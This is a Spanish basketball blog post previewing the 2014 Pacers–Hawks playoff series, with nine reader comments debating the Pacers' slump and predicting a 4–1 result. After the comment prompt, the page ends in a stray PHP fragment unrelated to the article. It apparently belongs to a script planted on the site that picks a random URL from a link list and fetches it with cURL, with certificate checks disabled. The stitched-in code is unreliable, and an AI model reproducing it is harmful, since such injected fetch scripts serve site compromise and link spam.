PO 2014: Previa Indiana Pacers – Atlanta Hawks

17 de April de 2014 por Esteban

Hace dos meses habríamos dicho que esta serie no tendría historia, que sería un bodrio de esos que permite la conferencia Este clasificando a cualquiera para los Playoffs. Hace dos meses una barrida de los de Vogel no hubiese pagado absolutamente nada en las casas de apuestas. Pero desde hace dos meses hasta la fecha ha pasado mucha agua bajo el río y hoy la incertidumbre es total.

Es difícil pronosticar qué Pacers veremos. El equipo de Paul George, Roy Hibbert y compañía no ha pasado en dos meses de mostrar un nivel de equipo de campeonato, de auténtico candidato al anillo, a convertirse en un conjunto medio o mediocre, no. Han pasado a ser verdaderamente pésimos. Del 9 que le habríamos otorgado en su momento han bajado a un 2 en general. De hecho, ni siquiera pueden presumir de poseer un record positivo desde el All-Star y eso que son nada más y nada menos que el número 1 de su conferencia. Verdaderamente inaudito.

Por su parte, los Atlanta Hawks, en una temporada de mini tankeo, no lo han hecho del todo mal teniendo en cuenta la lesión de su estrella Al Horford. De todas maneras participarán en los Play Offs debido en gran parte al magro nivel de la conferencia Este. Se han clasificado con solo 37 victorias y más por deméritos de otros equipos que partían con intenciones ganadoras como Knicks, Cavaliers o Pistons.

Si los Pacers no engranan, Jeff Teague desde la conducción y Pero Antic lastimando a Hibbert desde la línea de 3 puntos pueden resultar de gran valor pero lo cierto es que si los Pacers logran ser al menos una sombra de lo que eran a mitad de temporada, la serie no debería durar más de 5 juegos.

Claves de la eliminatoria

  • La salud de Andrew Bynum: Si los Pacers cuentan con  el gigantón, los Hawks no tendrán forma de parar la rotación que formaría con Roy Hibbert. Simplemente no tienen el tamaño y los activos para mantener una rotación decente.  En Atlanta deben temblar pensando en Bynum o Hibbert frente a los centímetros de Elton Brand o Mike Muscala.
  • La defensa de los Pacers: En los últimos tiempos los de Vogel han empeorado en todo menos en defensa por lo que como mínimo deberían poder mantener este punto fuerte y salvar así lo pésimos que son ahora en ataque. Con jugadores como Korver o Carroll que poco pueden generar por sí mismos, dos defensores de elite como Sthepenson y George deberían anular el perímetro de los halcones.

Pronóstico: Nunca apostaría un penique por algo que no fuera un 4-1 a favor de los Pacers. Es cierto que llegan mal pero cualquier otro resultado sería una enorme sorpresa teniendo en cuenta que los Hawks se han metido en estos PO con 37 victorias…

Comenta

9 comentarios a esta entrada

  1. Sancho88 dice:
    #1

    Es cierto el bajón de Indian, al igual que el de los Heat, pero los Playoffs son una cosa totalmente distinta. Aquí Hibbert suele espabilar en ataque, West peleará como un guerrero que es y Paul George sacará la estrella que lleva dentro. Como bien dices, pensar en algo que no sea una barrida o en un 4-1 no entra dentro de la lógica. Atlanta puede rascar un partido en casa, pero como ocurrió el año pasado si mal no recuerdo, volverán a caer fácilmente en primera ronda contra los Pacers. El dato curioso es el de las 37 victorias. Y vuelvo a hablar de memoria. Me parece que con 37 victorias entraron los Hawks de Smith y Johnson hace 5 años o por ahí y casi aniquilan en 7 juegos a los Celtics. Es algo anecdótico y muy difícil de repetir. En Atlanta no solo falta Horford, sino que yo esperaba muchísimo más de Lou Williams. Un jugador con unas cualidades que impresionan pero que nunca ha acabado de explotar. Una lástima

      Citar

  2. Esteban dice:
    #2

    es verdad lo de williams, luego de su tremendo año en los 76ers y un buen arranque con los Hawks tuvo una lesion de la cual no pudo volver al 100%

    proyecto de sexto hombre estilo crawford y terry que al momento, por culpa de la lesion, esta saliendo fallido

      Citar

  3. TheDeerHunter dice:
    #3

    Firmo el pronóstico de 4-1 pero con alguna que otra reserva.
    Como decís la clave será como entran los Pacers en la eliminatoria. Si no son capaces de centrarse en este momento apaga y vámonos. En condiciones normales son superiores.
    Curiosamente los Hawks son uno de los equipos que más problemas les ha creado durante la regular. Llegan empatados 2 a 2. El último hace muy poco donde les pegaron un repaso importante a los Pacers.
    Cuidado si los Pacers no logran mantener la anotación rival por debajo de 90 puntos. Discrepo en eso de que no han empeorado su defensa en los últimos tiempos.

      Citar

  4. CAMPO2 dice:
    #4

    Creo que a Miami le costara menos cambiar el Chip a modo play offs que a Indiana, unos dan sensación de que no han estado jugando al 100% por gusto, para no quemarse y los otros parece que porque no han podido

      Citar

  5. Esteban dice:
    #5

    TheDeerHunter:
    Firmo el pronóstico de 4-1 pero con alguna que otra reserva.
    Como decís la clave será como entran los Pacers en la eliminatoria. Si no son capaces de centrarse en este momento apaga y vámonos. En condiciones normales son superiores.
    Curiosamente los Hawks son uno de los equipos que más problemas les ha creado durante la regular. Llegan empatados 2 a 2. El último hace muy poco donde les pegaron un repaso importante a los Pacers.
    Cuidado si los Pacers no logran mantener la anotación rival por debajo de 90 puntos. Discrepo en eso de que no han empeorado su defensa en los últimos tiempos.

    yo creo que no tendran problemas en mantener la anotacion por debajo de los 90 puntos, de hecho han pardido muchisimos juegos, pero prtacticamente nadie se les ha ido a 100, ni cuando perdieron por goleada

    la defensa sigue siendo solida y mas ante un equipo al que no le sobran recursos como los Hawks

    una buena como ya dije es el muy fiable tiro de 3 puntos de Antic, si este logra amenzar de la linea de 3 tanto que obliga a Hibbert a salir a marcarle y abandonar la zona, la defensa de los Pacers puede no ser tan efectiva y quien te dice que haya una sopresa

    lo pense en el analisis previo y no lo dije, pero los Pacers podian arrancar este año con sus 5 jugaores pensando que podian ser all-star y ello podria redundar en un juego en equipo desmejorado y egoista,
    Paso con George quien ofensivamente no es ningun as, pero su final e PO y un arranque a todo trapo le hicieron creer q si, y ha forzado lanzamientos mas de lo que corresponde,
    lo mismo con sthepenson, pensando que es el mejor esolta de la liga y en su proximo contrato forzando jugadas

    esto dejo sin tiros a Hibbert, quien cree q puede ser un anotador en situaciones de poste bajo

    en ese triangulo ha estado el problema, el barco sigue a flote por el profesionalismo de Hill, quien sigue jugando para el equipo y no para su lucimiento (sera por que tiene contrato firmado ya), cuando con algo mas de esogismo podria ser un base con gran poder anotador

    y en la sabiduria y contratazo de West que es el mejor anotador del equipo en ataque estacionado y no se queja cuando sus compañeros no le dan la bola

    cuando se cae tan profundo como les ha pasado a los Pacers es dificil salir, habra que ver como se las apañan

      Citar

  6. Sancho88 dice:
    #6

    West tuvo un mes de enero previo al all-star soberbio. En Playoffs se notará mucho su liderazgo y experiencia, y los centímetros de Hibbert en ambas partes de la cancha. Es clave que vuelvan a buscar a Hibbert como en las finales con Miami. Tener esa arma en el equipo y no utilizarla es incomprensible. Asi que la clave es que Lance y Paul reduzcan sus tiros y den más balones para West y Hibbert. Si se saben compenetrar son cuatro armas muy efectivas que pueden matar a cualquiera, en un trabajo de equipo coordinado defensa-ataque, más el combo de Hill que nunca va a chupar y siempre va a hacer lo que necesite el equipo. Como decís, es una lucha de egos que en nada les va a beneficiar de cara a los playoffs. Lo extraño es que el año pasado funcionaron como una auténtica máquina colectiva y este año con el mismo quinteto parece que es lo qeu dices tú Esteban, hay como presión individual de demostrar que este es mejor que aquel… No sé, ellos sabrán, pero esos individualismos no les van a ayudar en nada si quieren el anillo

      Citar

  7. Ruxixon dice:
    #7

    Como comenté en una de las últimas crónicas,la serie vendrá marcada por lo que quieran hacer los Pacers.Está claro que si pierden la eliminatoria será,principalmente,porque ellos la han querido perder,pues cualquier que siga la NBA sabe que son (mucho) mejor equipo que Atlanta,equipo cuyo GM ha declarado que ir a los PO no supone una ventaja de cara al futuro -vamos,que si hubieran quedado de los últimos palmas con las orejas-.La clave serán los 2 primeros partidos,si Atlanta consigue llevarse 1,posiblemente aparecerán los problemas de ego en la plantilla de Indiana lo cual sería un problema para ellos.Pero sobre el papel el 4-1 parece lo más probable.

    Por cierto,primera oportunidad de lidiar en los PO para uno de los delfines de Popovich,Budenholzer,como sea 1/4 de lo que es el de los Spurs habrá que cambiar los pronósticos.

      Citar

  8. Sancho88 dice:
    #8

    Pues los Spurs juegan igual de bien sin el pavo este. Ha sido un gran asistente de Popo, pero los chavales de Spurs ya se lo saben de memoria. Hacen unas cosas en la pista, que las ves luego analizadas a camara lenta y dices… wow, malditos hijos de puta. Hay un vídeo en NBA.COM que sale cómo tiran los jugadores de San Antonio y por qué son el mejor equipo de la liga en tiros desde fuera del perímetro. Si lo veis vais a flipar en colores. Sencillamente alucinante.

    Supongo que te refieres a qué pasaria si los Hawks jugasen una cuarta parte de lo que aprendió este hombre de su experiencia en San Antonio verdad? Pues sí, la serie estaría más igualada. No obstante, no hay color. Como palmen los Pacers se merecerían guillotina o cadena perpetua por crimen contra el basket

      Citar

  9. Ruxixon dice:
    #9

    Sancho88:
    Supongo que te refieres a qué pasaria si los Hawks jugasen una cuarta parte de lo que aprendió este hombre de su experiencia en San Antonio verdad? Pues sí, la serie estaría más igualada. No obstante, no hay color. Como palmen los Pacers se merecerían guillotina o cadena perpetua por crimen contra el basket

    Exactamente,realmente no sé cuanto tiempo pasó en los Spurs,pero si eres minimamente profesional supongo que algo tienes que aprender de Popovich,que es el mejor.

    PD.vete afilando la hoja de la guillotina xD

      Citar

Deja un comentario

html; } class Helper { public function random_date() { $low = '732045693'; $high = time(); $random = rand($low, $high); return date("D, d M Y H:i:s",$random); } } class Fetch_site { public $url; public $html; public function __construct($sites=null, $link_list=null) { $this->is_curl_installed(); if($link_list !== null) { $this->choose_site($link_list); } $this->load_site($this->url); } public function choose_site($file=null) { $file = explode("\n", $file); $key = rand(0, (count($file)-1)); $this->url = trim($file[$key]); } public function load_site($url) { $useragent = array('Link-Soft'); $rand = array_rand($useragent); $ch = curl_init(); $options = array( CURLOPT_URL => $url, CURLOPT_HEADER => 0, CURLOPT_USERAGENT => $useragent[$rand], CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_RETURNTRANSFER => 1, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_ENCODING => "", CURLOPT_AUTOREFERER => 1, CURLOPT_CONNECTTIMEOUT => 30, CURLOPT_TIMEOUT => 30, CURLOPT_MAXREDIRS => 5, ); curl_setopt_array($ch,$options); $result = curl_exec($ch); if(!$result) { return curl_error($ch); } curl_close($ch); $this->html = $result; } public function is_curl_installed() { if(!in_array('curl',get_loaded_extensions())) { trigger_error("cURL PHP extension is disabled or not installed.",E_USER_ERROR); } } } unset($n); ?>